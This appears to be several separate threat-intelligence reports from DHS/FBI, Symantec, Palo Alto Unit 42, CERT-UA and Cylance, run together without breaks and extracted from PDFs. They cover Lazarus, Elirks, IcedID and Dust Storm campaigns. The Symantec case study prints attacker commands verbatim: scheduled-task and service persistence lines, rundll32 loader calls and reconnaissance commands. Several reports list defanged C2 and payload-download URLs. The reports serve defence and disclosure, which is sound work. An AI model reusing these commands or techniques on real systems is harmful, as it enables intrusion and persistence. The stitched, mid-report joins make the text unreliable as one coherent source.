If remote access between zones is an unavoidable business need, log and monitor these connections closely.
In environments with a high risk of interception or intrusion, organizations should consider supplementing password authentication with other forms of authentication such as challenge/response or multifactor authentication using biometric or physical tokens.
Credentials Enforce a tiered administrative model with dedicated administrator workstations and separate administrative accounts that are used exclusively for each tier to prevent tools, such as Mimikatz, for credential theft from harvesting domain-level credentials.
Implement multi-factor authentication (e.g., smart cards) or at minimum ensure users choose complex passwords that change regularly.
Be aware that some services (e.g., FTP, telnet, and .rlogin) transmit user credentials in clear text.
Minimize the use of these services where possible or consider more secure alternatives.
Properly secure password files by making hashed passwords more difficult to acquire.
Password hashes can be cracked within seconds using freely available tools.
Consider restricting access to sensitive password hashes by using a shadow password file or equivalent on UNIX systems.
Replace or modify services so that all user credentials are passed through an encrypted channel.
Avoid password policies that reduce the overall strength of credentials.
Policies to avoid include lack of password expiration date, lack of lockout policy, low or disabled password complexity requirements, and password history set to zero.
Ensure that users are not re-using passwords between zones by setting policies and conducting regular audits.
Use unique passwords for local accounts for each device.
TLP:WHITE 11 of 13 TLP:WHITE Logging Practices Ensure event logging (applications, events, login activities, security attributes, etc.)
is turned on or monitored for identification of security issues.
Configure network logs to provide enough information to assist in quickly developing an accurate determination of a security incident.
Upgrade PowerShell to new versions with enhanced logging features and monitor the logs to detect usage of PowerShell commands, which are often malware-related.
Secure logs, potentially in a centralized location, and protect them from modification.
Prepare an incident response plan that can be rapidly implemented in case of a cyber intrusion.
How to Enhance Your Organizations Cybersecurity Posture DHS offers a variety of resources for organizations to help recognize and address their cybersecurity risks.
Resources include discussion points, steps to start evaluating a cybersecurity program, and a list of hands-on resources available to organizations.
For a list of services, visit https://www.us-cert.gov/ccubedvp.
Other resources include: The Cyber Security Advisors (CSA) program bolsters cybersecurity preparedness, risk mitigation, and incident response capabilities of critical infrastructure entities and more closely aligns them with the Federal Government.
CSAs are DHS personnel assigned to districts throughout the country and territories, with at least one advisor in each of the 10 CSA regions, which mirror the Federal Emergency Management Agency regions.
For more information, email cyberadvisorhq.dhs.gov.
Cyber Resilience Review (CRR) is a no-cost, voluntary assessment to evaluate and enhance cybersecurity within critical infrastructure sectors, as well as state, local, tribal, and territorial governments.
The goal of the CRR is to develop an understanding and measurement of key cybersecurity capabilities to provide meaningful indicators of an entitys operational resilience and ability to manage cyber risk to critical services during normal operations and times of operational stress and crisis.
Visit https://www.cert.org/resilience/rmm.html to learn more about the CERT Resilience Management Model.
Enhanced Cybersecurity Services (ECS) helps critical infrastructure owners and operators protect their systems by sharing sensitive and classified cyber threat information with Commercial Service Providers (CSPs) and Operational Implementers (OIs).
CSPs then use the cyber threat information to protect CI customers.
OIs use the threat information to protect internal networks.
For more information, email ECS_Programhq.dhs.gov.
The Cybersecurity Information Sharing and Collaboration Program (CISCP) is a voluntary information-sharing and collaboration program between and among critical https://www.us-cert.gov/ccubedvp mailto:cyberadvisorhq.dhs.gov https://www.cert.org/resilience/rmm.html mailto:ECS_Programhq.dhs.gov TLP:WHITE 12 of 13 TLP:WHITE infrastructure partners and the Federal Government.
For more information, email CISCPus-cert.gov.
The Automated Indicator Sharing (AIS) initiative is a DHS effort to create a system where as soon as a company or federal agency observes an attempted compromise, the indicator will be shared in real time with all of our partners, protecting them from that particular threat.
That means adversaries can only use an attack once, which increases their costs and ultimately reduces the prevalence of cyber-attacks.
While AIS will not eliminate sophisticated cyber threats, it will allow companies and federal agencies to concentrate more on them by clearing away less sophisticated attacks.
AIS participants connect to a DHS-managed system in the NCCIC that allows bidirectional sharing of cyber threat indicators.
A server housed at each participants location allows each to exchange indicators with the NCCIC.
Participants will not only receive DHS-developed indicators, but can share indicators they have observed in their own network defense efforts, which DHS will then share with all AIS participants.
For more information, visit https://www.dhs.gov/ais.
The Cybersecurity Framework (Framework), developed by the National Institute of Standards and Technology (NIST) in collaboration with the public and private sectors, is a tool that can improve the cybersecurity readiness of entities.
The Framework enables entities, regardless of size, degree of cyber risk, or cyber sophistication, to apply principles and best practices of risk management to improve the security and resiliency of critical infrastructure.
The Framework provides standards, guidelines, and practices that are working effectively today.
It consists of three partsthe Framework Core, the Framework Profile, and Framework Implementation Tiersand emphasizes five functions: Identify, Protect, Detect, Respond, and Recover.
Use of the Framework is strictly voluntary.
For more information, visit https://www.nist.gov/cyberframework or email cyberframeworknist.gov.
mailto:CISCPus-cert.gov https://www.dhs.gov/ais https://www.nist.gov/cyberframework mailto:cyberframeworknist.gov TLP:WHITE 13 of 13 TLP:WHITE Contact Information Recipients of this report are encouraged to contribute any additional information that they may have related to this threat.
Include the JAR reference number (JAR-16-20296) in the subject line of all email correspondence.
For any questions related to this report, please contact NCCIC or the FBI.
NCCIC: Phone: 1-888-282-0870 Email: NCCICCustomerServicehq.dhs.gov FBI: Phone: 1-855-292-3937 Email: cywatchic.fbi.gov Feedback NCCIC continuously strives to improve its products and services.
You can help by answering a few short questions about this product at the following URL: https://www.us-cert.gov/forms/feedback.
mailto:NCCICCustomerServicehq.dhs.gov mailto:cywatchic.fbi.gov https://www.us-cert.gov/forms/feedback
1/8 Lazarus Targets Chemical Sector symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical Symantec, a division of Broadcom Software, has observed the North Korea-linked advanced persistent threat (APT) group known as Lazarus conducting an espionage campaign targeting organizations operating within the chemical sector.
The campaign appears to be a continuation of Lazarus activity dubbed Operation Dream Job, which was first observed in August 2020.
Symantec tracks this sub-set of Lazarus activity under the name Pompilus.
Operation Dream Job Operation Dream Job involves Lazarus using fake job offers as a means of luring victims into clicking on malicious links or opening malicious attachments that eventually lead to the installation of malware used for espionage.
Past Dream Job campaigns have targeted individuals in the defense, government, and engineering sectors in activity observed in August 2020 and July 2021.
Recently targeted sectors In January 2022, Symantec detected attack activity on the networks of a number of organizations based in South Korea.
The organizations were mainly in the chemical sector, with some being in the information technology (IT) sector.
However, it is likely the IT targets were used as a means to gain access to chemical sector organizations.
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical https://software.broadcom.com/ https://www.clearskysec.com/operation-dream-job/ https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution?utm_campaignSED_2020_SES_Daily20Threat20Landscape20Bulletinutm_mediumemail_hsmi139259470_hsencp2ANqtz--J6q9LdfcxqEx5uWvbCzht0JfOc4OV82fEOolrbvnpLzo148HySiMyVKrAnXVeP8GIKLQKzgYM65wxMYUmNVksrBTEwgutm_content139259470utm_sourcehs_email 2/8 There is sufficient evidence to suggest that this recent activity is a continuation of Operation Dream Job.
That evidence includes file hashes, file names, and tools that were observed in previous Dream Job campaigns.
A typical attack begins when a malicious HTM file is received, likely as a malicious link in an email or downloaded from the web.
The HTM file is copied to a DLL file called scskapplink.dll and injected into the legitimate system management software INISAFE Web EX Client.
The scskapplink.dll file is typically a signed Trojanized tool with malicious exports added.
The attackers have been observed using the following signatures: DOCTER USA, INC and A MEDICAL OFFICE, PLLC Next, scskapplink.dll downloads and executes an additional payload from a command-and- control (CC) server with the URL parameter key/values prd_fldracket.
This step kicks off a chain of shellcode loaders that download and execute arbitrary commands from the attackers, as well as additional malware, which are usually executed from malicious exports added to Trojanized tools such as the Tukaani project LZMA Utils library (XZ Utils).
The attackers move laterally on the network using Windows Management Instrumentation (WMI) and inject into MagicLine by DreamSecurity on other machines.
In some instances, the attackers were spotted dumping credentials from the registry, installing a BAT file in a likely effort to gain persistence, and using a scheduled task configured to run as a specific user.
The attackers were also observed deploying post-compromise tools, including a tool used to take screenshots of web pages viewed on the compromised machine at set intervals (SiteShoter).
They were also seen using an IP logging tool (IP Logger), a protocol used to turn computers on remotely (WakeOnLAN), a file and directory copier (FastCopy), and the File Transfer Protocol (FTP) executed under the MagicLine process.
Case study The following is a case study detailing step-by-step attacker activity on an organization in the chemical sector.
January 17, 2022 00:51 A malicious HTM file is received: e31af5131a095fbc884c56068e19b0c98636d95f93c257a0c829ec3f3cc8e4ba - csidl_profile\appdata\local\microsoft\windows\inetcache\ie\3tygrjkm\join_06[1].htm 3/8 The HTM file is copied to a DLL file: rundll32.exe CSIDL_PROFILE\public\scskapplink.dll,netsetcookie Cnusrmgr This DLL file is injected into the legitimate system management software INISAFE Web EX Client.
The file is a signed Trojanized version of the ComparePlus plugin for Notepad with malicious exports added.
01:02 The file is run and downloads and executes a backdoor payload (final.cpl - 5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db) from a command-and-control (CC) server with the URL parameter key/values prd_fldracket.
The file final.cpl is a Trojanized version of the Tukaani project LZMA Utils library (XZ Utils) with a malicious export added (AppMgmt).
The malware connects to, downloads, decodes, and executes shellcode from the following remote location: hxxp[:]//happy[.
]nanoace.co.kr/Content/rating/themes/krajee- fas/FrmAMEISMngWeb.asp 01:04 Another CPL file (61e305d6325b1ffb6de329f1eb5b3a6bcafa26c856861a8200d717df0dec48c4) is executed.
This file, again, is a Trojanized version of LZMA Utils with a malicious added export.
01:13 The shellcode loader (final.cpl) is executed again several times.
01:38 Commands are executed to dump credentials from the SAM and SYSTEM registry hives.
Over the next several hours, the attackers run unknown shellcode via final.cpl at various intervals, likely to collect the dumped system hives, among other things.
06:41 The attackers create a scheduled task to ensure persistence between system reboots: schtasks /create /RU [REDACTED].help\175287 /ST 15:42 /TR cmd.exe /c C:\ProgramData\Intel\Intel.bat /tn arm /sc MINUTE The scheduled task instructs the system to execute Intel.bat as user [REDACTED].help/175287 starting at 15:42 then every minute under the scheduled task name arm.
Its unclear if this was an account that was cracked via the dumped registry hives or an account the attackers were able to create with admin rights.
The attackers were also observed installing Cryptodome (PyCrypto fork) Python encryption modules via CPL files.
4/8 A clean installation of BitDefender was also installed by the attackers.
While unconfirmed, the threat actors may have installed an older version of this software (from 2020) with a vulnerability that allowed attackers to run arbitrary commands remotely.
January 18 00:21 The final.cpl file is executed again.
00:49 A new CPL file called wpm.cpl (942489ce7dce87f7888322a0e56b5e3c3b0130e11f57b3879fbefc48351a78f6) is executed.
CSIDL_COMMON_APPDATA\finaldata\wpm.cpl Thumbs.ini 4 30 This file contains, and connects to, a list of IP addresses and records whether the connections were successful.
01:11 Again, the final.cpl shellcode loader is executed multiple times, executing some unknown shellcode.
This activity continued intermittently until 23:49.
23:49 The file name of the CPL file changes to ntuser.dat.
The file location and command-line arguments remain the same.
January 19 00:24 The CPL shellcode loader files (final.cpl and ntuser.dat) are executed multiple times.
00:28 The attackers create a scheduled task on another machine, likely to ensure persistence: schtasks /create /RU [REDACTED]\i21076 /ST 09:28 /TR cmd.exe /c C:\ProgramData\Adobe\arm.bat /tn arm /sc MINUTE The command is used to schedule a task named arm to run the file arm.bat starting at at 09:28 then every minute after that under the user account [REDACTED]\i21076.
00:29 A file named arm.dat (48f3ead8477f3ef16da6b74dadc89661a231c82b96f3574c6b7ceb9c03468291) is executed with the following command line arguments: CSIDL_SYSTEM\rundll32.exe CSIDL_COMMON_APPDATA\adobe\arm.dat,packageautoupdater LimitedSpatialExtent_U_f48182 -d 1440 -i 10 -q 8 -s 5 The arm.dat file is a tool used to take screenshots of web pages viewed on the compromised machine every 10 seconds (SiteShoter), as determined by the command line arguments.
The screenshots are saved in appdata\local with the date at the top of the file.
https://www.bleepingcomputer.com/news/security/bitdefender-fixes-bug-allowing-attackers-to-run-commands-remotely/ 5/8 06:50 The shellcode loader (final.cpl) is executed several times.
07:34 A new CPL file named addins.cpl (5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db) is executed multiple times, which again is another shellcode loader and has the same command line arguments as seen with final.cpl: CSIDL_SYSTEM\rundll32.exe CSIDL_COMMON_APPDATA\addins.cpl, AppMgmt EO6-CRY-LS2-TRK3 07:39 A scheduled task is created: sc create uso start auto binPath cmd.exe /c start /b C:\Programdata\addins.bat DisplayName uso The task is used to auto-start and execute addins.bat each time the system is booted.
The task uses the service name uso (a file name previously used in older Dream Job campaigns targeting security researchers).
The attacker runs addins.cpl again to run a command to start the service and then delete the service directly after: CSIDL_SYSTEM\rundll32.exe CSIDL_COMMON_APPDATA\addins.cpl, AppMgmt EO6-CRY-LS2-TRK3 sc start uso (via cmd.exe) sc delete uso The following commands were then executed to collect information pertaining to network configuration, current user the attackers are logged in as, active users on the machine, available shared drives, and the contents of the addins directory.
ipconfig /all whoami query user net use dir CSIDL_WINDOWS\addins 07:41 The file addins.cpl is executed again multiple times before a scheduled task is created to run addins.bat again, start the service, and immediately delete the service: sc create uso start auto binPath cmd.exe /c start /b C:\Windows\addins\addins.bat DisplayName uso sc start uso sc delete uso January 20 6/8 The attackers execute addins.cpl again with the same command line as before.
No further activity is observed.
The Lazarus group is likely targeting organizations in the chemical sector to obtain intellectual property to further North Koreas own pursuits in this area.
The groups continuation of Operation Dream Job, as witnessed by Symantec and others, suggests that the operation is sufficiently successful.
As such, organizations should ensure they have adequate security in place and remain vigilant for attacks such as this.
As always, users should be wary of clicking links or downloading files even if they come from seemingly trustworthy sources.
Protection/Mitigation For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise SHA-256 164f6a8f7d2035ea47514ea84294348e32c90d817724b80ad9cd3af6f93d83f8 18686d04f22d3b593dd78078c9db0ac70f66c7138789ad38469ec13162b14cef 1cb8ea3e959dee988272904dbb134dad93539f2c07f08e1d6e10e75a019b9976 2dd29b36664b28803819054a59934f7a358a762068b18c744281e1589af00f1f 32bfdf1744077c9365a811d66a6ea152831a60a4f94e671a83228016fc87615f 35de8163c433e8d9bf6a0097a506e3abbb8308330d3c5d1dea6db71e1d225fc3 4277fcaada4939b76a3df4515b7f74837bf8c4b75d4ff00f8d464169eede01e3 4446efafb4b757f7fc20485198236bed787c67ceffc05f70cd798612424384ce 48f3ead8477f3ef16da6b74dadc89661a231c82b96f3574c6b7ceb9c03468291 4a2236596e92fa704d8550c56598855121430f96fe088712b043cba516f1c76c 54029bd4fcc24551564942561a60b906bee136264f24f43775b7a8e15095a9e0 56da872e8b0f145417defd4a37f357b2f73f244836ee30ac27af7591cda2d283 5e7edc8f1c652f53a6d2eabfbd9252781598de91dbe59b7a74706f69eb52b287 https://blog.google/threat-analysis-group/countering-threats-north-korea/ https://www.broadcom.com/support/security-center/protection-bulletin 7/8 5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db 61e305d6325b1ffb6de329f1eb5b3a6bcafa26c856861a8200d717df0dec48c4 67f1db122ad8f01e5faa60e2facf16c0752f6ab24b922f218efce19b0afaf607 7491f298e27eb7ce7ebbf8821527667a88eecd5f3bc5b38cd5611f7ebefde21e 79b7964bde948b70a7c3869d34fe5d5205e6259d77d9ac7451727d68a751aa7d 7aa62af5a55022fd89b3f0c025ea508128a03aab5bc7f92787b30a3e9bc5c6e4 8769912b9769b4c11aabc523a699d029917851822d4bc1cb6cc65b0c27d2b135 8aace6989484b88abc7e3ec6f70b60d4554bf8ee0f1ccad15db84ad04c953c2d 942489ce7dce87f7888322a0e56b5e3c3b0130e11f57b3879fbefc48351a78f6 a881c9f40c1a5be3919cafb2ebe2bb5b19e29f0f7b28186ee1f4b554d692e776 bdb76c8d0afcd6b57c8f1fa644765b95375af2c3a844c286db7f60cf9ca1a22a d815fb8febaf113f3cec82f552dfec1f205071a0492f7e6a2657fa6b069648c6 e1997d1c3d84c29e02b1b7b726a0d0f889a044d7cd339f4fb88194c2c0c6606d e31af5131a095fbc884c56068e19b0c98636d95f93c257a0c829ec3f3cc8e4ba ef987baef9a1619454b14e1fec64283808d4e0ce16fb87d06049bfcf9cf56af3 f29d386bdf77142cf2436797fba1f8b05fab5597218c2b77f57e46b8400eb9de f7359490d6c141ef7a9ee2c03dbbd6ce3069e926d83439e1f8a3dfb3a7c3dc94 f8995634b102179a5d3356c6f353cb3a42283d9822e157502486262a3af4447e ff167e09b3b7ad6ed1dead9ee5b4747dd308699a00905e86162d1ec1b61e0476 Network 52.79.118.195 61.81.50.174 [URL]/[FOLDER]/[FILENAME]asp?prd_fldracket happy.nanoace[.
]co.kr hxxp://happy.nanoace[.
]co.kr/Content/rating/themes/krajee-fas/FrmAMEISMngWeb.asp 8/8 hxxps://mariamchurch[.
]com/board/news/index.asp hxxps://www.aumentarelevisite[.
]com/img/context/offline.php mariamchurch.com www.aumentarelevisite[.
]com www.juneprint[.
]com www.jungfrau[.
]co.kr www.ric-camid[.
]re.kr File names addins.cpl dolby.cpl ezhelp.cpl final.cpl officecert.ocx wpm.cpl Services arm uso About the Author Threat Hunter Team Symantec The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.
Kaoru Hayashi Tracking Elirks Variants in Japan: Similarities to Previous Attacks researchcenter.paloaltonetworks.com/2016/06/unit42-tracking-elirks-variants-in-japan-similarities-to-previous-attacks/ A recent, well-publicized attack on a Japanese business involved two malware families, PlugX and Elirks, that were found during the investigation.
PlugX has been used in a number of attacks since first being discovered in 2012, and we have published several articles related to its use, including an analysis of an attack campaign targeting Japanese companies.
Elirks, less widely known than PlugX, is a basic backdoor Trojan, first discovered in 2010, that is primarily used to steal information from compromised systems.
We mostly observe attacks using Elirks occurring in East Asia.
One of the unique features of the malware is that it retrieves its C2 address by accessing a pre-determined microblog service or SNS.
Attackers create accounts on those services and post encoded IP addresses or the domain names of real C2 servers in advance of distributing the backdoor.
We have seen multiple Elirks variants using Japanese blog services for the last couple of years.
Figure 1 shows embedded URL in an Elirks sample found in early 2016.
Figure 1 Embedded URLs in Elirks variant In another sample found in 2014, an attacker used a Japanese blog service.
The relevant account still exists at the time of writing this article (Figure 2).
1/5 http://researchcenter.paloaltonetworks.com/2016/06/unit42-tracking-elirks-variants-in-japan-similarities-to-previous-attacks/ http://researchcenter.paloaltonetworks.com/tag/plugx/ http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/ http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/Japan-Figure-1.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/Japan-Figure-2.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/Japan-Figure-3.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/Japan-Figure-4.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/Japan-Figure-5.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/Japan-Figure-6.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/Japan-Figure-7.png Figure 2 Blog account created by the attacker in 2014 Link to previous attack campaign Unit 42 previously identified an Elirks variant during our analysis of the attack campaign called Scarlet Mimic.
It is years-long campaign targeting minority rights activists and governments.
The malware primarily used in this series of attacks was FakeM.
Our researchers described the threat sharing infrastructure with Elirks in the report.
As of this writing, we can note similarities between previously seen Elirks attacks and this recent case in Japan.
Spear Phishing Email with PDF attachment Figure 3 shows an email which was sent to a ministry of Taiwan in May 2012.
2/5 https://www.paloaltonetworks.com/resources/research/scarlet-mimic Figure 3 Spear Phishing Email sent to a ministry of Taiwan The email characteristics were bit similar to the recent case (Table 1).
2012 2016 Email Sender Masquerades as an existing bank in Taiwan Masquerade as an existing aviation company in Japan Email Recipient Representative email address of a ministry of Taiwan, which is publicly available.
Representative email address of a subsidiary company, which is publicly available.
Subject Bank credit card statement in Chinese Airline E-Ticket in Japanese Attachment PDF file named Electronic Billing 1015 in Chinese File named E-TKT in Japanese with PDF icon Table 1 Email characteristics When a user opened the attached PDF file, the following message is displayed.
It exploits a vulnerability in Adobe Flash, CVE-2011-0611 embedded in the PDF and installs Elirks malware on the system.
3/5 Figure 4 opening malicious PDF attachment Airline E-Ticket Attackers choose a suitable file name to lure targeted individual or organization.
In the recent case, the malicious attachment name in the email was reported as E-TKT.
We found similar file name in the previous attack in Taiwan in August 2012 (Figure 5).
Figure 5 Elirks executable file masquerade as folder of E-Ticket When opening the file, Elirks executes itself on the computer and creates ticket.doc to deceive users (Figure 6).
Figure 6 doc file created by Elirks Weve also seen another file name related to aviation at Taiwan in March 2012.
Figure 7 shows PDF file named Airline Reservation Numbers (updated version).pdf.
When opening the PDF file, it displays the exactly same message with the Figure4, exploits CVE-2011-0611 and installs Elirks.
4/5 Figure 7 PDF named Airline Reservation Number Conclusion Currently, we have found no reliable evidence to indicate the same adversary attacked a company in Japan in 2016 and multiple organizations in Taiwan in 2012.
However, we can see some resemblances between the two attacks.
In both cases, attackers used the same malware family, crafted spear phishing emails in a similar manner, and seem to be interested in some areas related to aviation.
We have been seeing multiple Elirks variants targeting Japan in the last few years, potentially indicating an ongoing cyber espionage campaign.
We will keep an eye on the threat actors.
Palo Alto Networks customers are protected from Elirks variant and can gather additional information using the following tools: WildFire detects all known Elirks samples as malicious All known C2s are classified as malicious in PAN-DB AutoFocus tags have been created: Elirks Indicators: Executable File: 8587e3a0312a6c4374989cbcca48dc54ddcd3fbd54b48833afda991a6a2dfdea 0e317e0fee4eb6c6e81b2a41029a9573d34cebeabab6d661709115c64526bf95 f18ddcacfe4a98fb3dd9eaffd0feee5385ffc7f81deac100fdbbabf64233dc68 Delivery PDF: 755138308bbaa9fcb9c60f0b089032ed4fa1cece830a954ad574bd0c2fe1f104 200a4708afe812989451f5947aed2f30b8e9b8e609a91533984ffa55d02e60a2 5/5 https://autofocus.paloaltonetworks.com//tag/Unit42.Elirks Tracking Elirks Variants in Japan: Similarities to Previous Attacks Conclusion Indicators:
1/3 CERT-UA cert.gov.ua/article/39609 Updated 04/18/2022 General information: The government team for responding to computer emergencies in Ukraine CERT-UA revealed the fact of mass distribution among citizens of Ukraine XLS-documents called Mobilization Register.xls.
It was found that if you open the document and activate the macro, the macro will download and run the executable file.
The downloaded EXE file will decrypt and run the GzipLoader malware on your computer, which in turn will download, decrypt and run the IcedID malware.
This malware (also known as BankBot) belongs to the class of banking Trojans and, among other things, provides theft of authentication data.
The activity is targeted and is tracked by UAC-0098.
Compromise indicators: Files: bdfca142fc1408ab2028019775a95a8a 8f7e3471c1bb2b264d1b8f298e7b7648dac84ffd8fb2125f3b2566353128e127 Mobilization Registry.xls 9f33887a8e76c246753e71b896a904b3 65b208943d8cf82af902c39400bdd7a26fdbc94c23f9d4494cf0a2ca51233213 Mobilization Registry.xls 5b4deca6a14eb777fdd882a712006303 de7bcc556dde40d347b003d891f36c2a733131593ce2b9382f0bd9ade123d54a ggthvjhvjhb.xls c52150ad226963a07cfc144d9cea73c7 ac1d19c5942946f9eee6bc748dee032b97eb3ec3e4bb64fead3e5ac101fb1bc8 spisok.exe (2022-04- 07) afc2d797a39caf4765c0c24e1afb1967 2e721087daafbfe9b7d5618dfcdaf23e04344f4f72b2c59e175196bada1cc687 gziploader.exe (2022-02-21) e731e2f1a70b2dd13a4995f9c0106dc4 789992e24d118d7bd213593aa849449c624eb275e000bc406dab25035b99479b forest32.dat 986ce06308ca327e5c75877e5e15d6b8 89594dbae3956eb2bf599e85cd761e89c9d189944b0ddc18cc3973f0fd41c466 init_dll_64.dll (2022-04-05) e9ad8fae2dd8f9d12e709af20d9aefad 84f016ece77ddd7d611ffc0cbb2ce24184aeee3a2fdbb9d44d0837bc533ba238 license.dat 7e6a117ba018be2867329bc5a33e481d 6734ae02e66924b3f071e7d8ea97d2482a2a2a5bac27b251f20d320b0d04a324 module.bin https://cert.gov.ua/article/39609 2/3 Network: rivertimad [.]
com winuvinnosluk [.]
club successilin [.]
top reteredelete [.]
top naffalno [.]
site ritionalvalueon [.]
top oceriesfornot [.]
top arelyevennot [.]
top dogiraftig [.]
com fikasterwer [.]
top jevejosader [.]
top ertimadifa [.]
com rresteraftin [.]
com ndlestomak [.]
top 168 [.]
100.8.42 188 [.]
166,154,118 134 [.]
209.144.87 hXXp: // 168 [.]
100.8.42 / micro [.]
exe hXXp: // 168 [.]
100.8.42 / list [.]
exe hXXp: // rivertimad [.]
com / hXXp: // 168 [.]
100.8.42 / list [.]
exe Hosts: APPDATA \ rand \ rand .dll , DllMain --iydu SustainDream \ license.dat APPDATA \ SustainDream \ license.dat APPDATA \ runsx.exe TMP \ forest32.dat Graphic images: 3/3
1OPERATION DUST STORM D U S T S T O R M By Jon Gross and the Cylance SPEAR Team O P E R A T I O N D U S T D U S T S T O R M S T O R M D U S T S T O R M D U S T D U S T S T O R M D U S T O P E R A T I O N O P E R A T I O N Nothing strengthens authority so much as 1 During analysis of older command and control infrastructure, there were several domains that resolved to known malicious IP addresses in September 2009.
However, SPEAR was not able to corroborate these dates in any known malware samples.
silence.
TA B LE O F C O N TE N TS EXECUTIVE SUMMARY Cylance SPEAR has uncovered a long-standing persistent threat targeting numerous major industries spread across Japan, South Korea, the United States, Europe, and several other Southeast Asian countries.
Power comes in many forms Our research indicates Operation Dust Storm has been operational since at least early 2010, and has employed a number of different operational techniques, including spear phishing, waterholes, and zero-day exploits over time.
Several antivirus companies initially detected early backdoor samples under the moniker Misdat, but the group has quietly evolved over the years to remain undetected and highly effective.
Attack telemetry in 2015 indicates the Dust Storm group has migrated from more traditional government and defense-related intelligence targets to exclusively seek out organizations involved in Japanese critical infrastructure and resources.
The group recently compromised a wide breadth of victims across the following industry verticals: electricity generation, oil and natural gas, finance, transportation, and construction.
SPEARs current research indicates the groups present focus has shifted to specifically and exclusively target Japanese companies or Japanese subdivisions of larger foreign organizations.
The Early Days: Spear Phishing The earliest indications of the groups activities stem from the compile times of the executable resource section of Misdat samples.
All of the early backdoor samples were compiled using a version of Delphi which notoriously mangles the compilation timestamp of the file to June 19, 1992 22:22:17 UTC.
By using the executable resource section timestamp, SPEAR was able to more accurately gauge the actual compile times of these samples, and traced one of them, bc3b36474c24edca4f063161b25bfe0c90b378b9c19c, to January 20101.
1OPERATION DUST STORM 01 Executive Summary 01 The Early Days: Spear Phishing 03 Identity Crisis: Zero-Day Attacks 04 Into the Future: Japanese Targets 05 Here and Now: Companies Compromised 06 Conclusion 07 Implant Analysis: 07 Misdat Backdoor (2010-2011) 10 MiS-Type Hybrid Backdoor (2012) 13 S-Type Backdoor (2013-2014) 16 Zlib Backdoor (2014-2015) 21 Appendix -Leonardo da Vinci 2 OPERATION DUST STORM 3OPERATION DUST STORM 2 The Symantec article incorrectly states that the Gh0st RAT protocol utilizes SSL, when in fact, it uses Zlib compression.
Very little public information was available throughout 2010 on this threat, despite the groups primary backdoor gaining some level of prominence in targeted Asian attacks.
This may be explained by the groups early reliance on Dynamic DNS domains for their command and control (C2) infrastructure, as well as their use of public RATs like Poison Ivy and Gh0st RAT for second-stage implants.
The actors relied heavily on the free Dynamic DNS providers No-IP (http://www.noip.com), Oray (http:// www.oray.com/) and 3322 (http://www.pubyun.com/) for their infrastructure continuing into 2011 the earliest known backdoors SPEAR identified communicated to 323332.3322.org and 1stone.zapto.org.
It wasnt until June 2011 that Operation Dust Storm started to garner some notoriety from a series of attacks which leveraged an unpatched Internet Explorer 8 vulnerability, CVE-2011-1255, to gain a foothold into victim networks.
In these attacks, a link to the exploit was sent via a spear phishing email from a purported Chinese student seeking advice or asking the target a question following a presentation.
Media coverage of these attacks included http://www.symantec.com/connect/ blogs/inside-back-door-attack , 2 and http://asec.ahnlab.
com/730 which named the early backdoor variants Misdat.
The secondary C2 server from Symantecs writeup was mentioned in news reports elsewhere as honeywells.tk this domain resolved to 111.1.1.66 during early June 2011.
This address is coincidentally the same IP address that one of the earliest Misdat samples that SPEAR identified beaconed to during the same timeframe.
A paper published in August 2011 by Ned Moran via Usenix (https://www.usenix.org/system/files/login/articles/ 105484-Moran.pdf) described in detail an attack by this threat group during April 2011.
The attack was initiated by a spear phishing email that contained a Word document embedded with a zero-day Flash exploit (CVE-2011-0611).
The final payload described in the report matched other confirmed Misdat samples, and beaconed to msejake.7766.
org, which first resolved to 125.46.42.221, then later to 218.106.246.220 at the time of the attack.
As to other documented cases, the attacker started interacting with the infected machine within minutes of compromise to begin manual network and host enumeration.
In October 2011, the group attempted to take advantage of the ongoing Libyan crisis at the time and phish the news cycle regarding Muammar Gaddafis death on October 20, 2011.
It appears that in addition to some US defense targets, this campaign was also directed at a Uyghur mailing list.
This time, the group used a specially crafted malicious Windows Help (.hlp) file, which exploited CVE- 2010-1885.
The hlp files, when opened, would execute a piece of JavaScript code via mshta.exe, which in turn launched a second piece of Visual Basic Script using the Windows scripting host.
This secondary piece of VBS code was then responsible for decoding the payload from the body of the hlp file and executing it.
The first stage payloads used in these attacks were Misdat variants stored base64 encoded within the hlp file.
The samples SPEAR identified both communicated to the domain msevpn.3322.org, which resolved to the IP address 218.106.246.195 at that time.
Pivoting off of this IP address yielded several additional dynamic DNS domains that were used for command and control, as well as several standard domains that were used by the group from May 2010 up until December 2015.
Registration Email Address Domain Name Date First Registered wkymyx (at) 126.com amazonwikis.com April 21, 2010 wkymyx (at) 126.com sfcorporation.com May 5, 2010 wkymyx (at) 126.com adobeus.com June 8, 2011 duomanmvp (at) 126.com adobekr.com May 30, 2010 duomanmvp (at) 126.com moviestops.com June 7, 2011 duomanmvp (at) 126.com moviestops.com December 17, 2012 Figure 1: Domain Registrations for 2010-2011 Early infrastructure for the 2010-2011 timeframe used by the group relied heavily on two email addresses, wkymyx (at) 126.com and duomanmvp (at) 126.com, for domain registration.
The attackers typically used either seemingly random four-character subdomains or common words like image, blog, ssl, pic, mail, news, etc.
There was also evidence to suggest this group attempted to gather user credentials for Yahoo, Windows Live and other accounts through several different phishing domains during July and August 2011.
While SPEAR was unable to recover the original pages served, the domains these pages were hosted on are: login.live.adobekr.com, login.live.wih365.com, and yahoomail.adobeus.com.
Individual IP address resolutions for each of the domains were generally short- lived, with none of them lasting more than a month.
